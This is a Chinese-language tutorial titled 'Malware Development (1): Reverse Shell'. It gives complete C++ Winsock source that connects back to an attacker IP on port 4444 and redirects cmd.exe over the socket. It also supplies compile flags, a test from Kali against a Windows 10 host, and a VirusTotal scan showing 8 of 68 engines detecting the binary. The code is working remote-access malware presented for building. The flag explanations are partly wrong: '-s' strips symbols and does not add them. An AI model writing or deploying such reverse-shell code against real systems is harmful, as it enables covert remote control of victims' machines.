恶意软件开发(一)Reverse Shell
什么是Reverse Shell?
反向 Shell(Reverse Shell)是指远程攻击者在攻击成功后,通过建立一个反向连接,让受害者的机器连接到攻击者的机器上,从而达到控制受害者机器的目的。通常情况下,攻击者需要在受害者机器上植入一个恶意程序,使得该程序能够在后续与攻击者机器建立连接并接受攻击者的指令。反向 Shell 通常被用于在目标机器上执行命令、获取敏感数据、植入其他恶意程序等操作。攻击者可以通过反向 Shell 轻松地远程控制目标机器,而不需要经过复杂的端口转发等操作。
C++编写Reverse Shell
(1)通过调用WSAStartup初始化套接字库
(2)创建socket
(3)连接攻击者主机的socket
(4)反弹命令行
初始化socket
// WSAStartup函数调用Winsock DLL,初始化socket
WSAStartup(MAKEWORD(2,2), &wsaData);
创建socket
// 创建socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr = inet_addr(ip);
连接攻击者主机的socket
// 连接攻击者主机socket
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui)); // 将STARTUPINFO类型结构体初始化为0
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
反弹命令行
// 启动cmd并重定向
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
完整代码
#include <winsock2.h> // 通过包含winsock来使用Winsock API
#include <stdio.h>
#pragma comment(lib, "ws2_32")
WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
int main(int argc, char* argv[]){
// 设置攻击者IP和port
char *ip = (char*)"172.18.53.19";
short port = 4444;
// WSAStartup函数调用Winsock DLL,初始化socket
WSAStartup(MAKEWORD(2,2), &wsaData);
// 创建socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr = inet_addr(ip);
// 连接攻击者主机socket
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui)); // 将STARTUPINFO类型结构体初始化为0
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
// 启动cmd并重定向
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}
代码测试
这里使用kali(172.18.53.19)作为攻击者,Windows10物理机作为被攻击者,首先对代码进行编译:
g++ shell.cpp -o shell.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
参数解释:
shell.cpp:要编译的源代码文件。
-o shell.exe:指定输出的可执行文件名为 shell.exe。
-lws2_32:连接 WinSock2 库,这是一个 Windows 下的网络编程库。
-s:在输出文件中包含符号表和调试信息,以便在调试程序时使用。
-ffunction-sections 和 -fdata-sections:告诉编译器将每个函数和变量放在不同的节(section)中。这样做可以使得链接器只链接实际使用的代码和数据,而忽略未使用的代码和数据,从而减小可执行文件的大小。
-Wno-write-strings:忽略对字符串常量的写操作,避免编译器报出相关的警告。
-fno-exceptions:禁用 C++ 异常处理机制。
-fmerge-all-constants:将所有常量合并到一个单独的节中。
-static-libstdc++ 和 -static-libgcc:告诉编译器链接静态版的标准 C++ 库和 GCC 运行时库。
-fpermissive:容错模式,允许一些不符合标准的代码通过编译。
接着,在kali上起监听:
在Windows主机上运行shell.exe
,在kali上发现shell已经反弹回来了:
将编译完的shell.exe
上传至virustotal,可以发现68个AV引擎中,有8个将文件检测为恶意软件: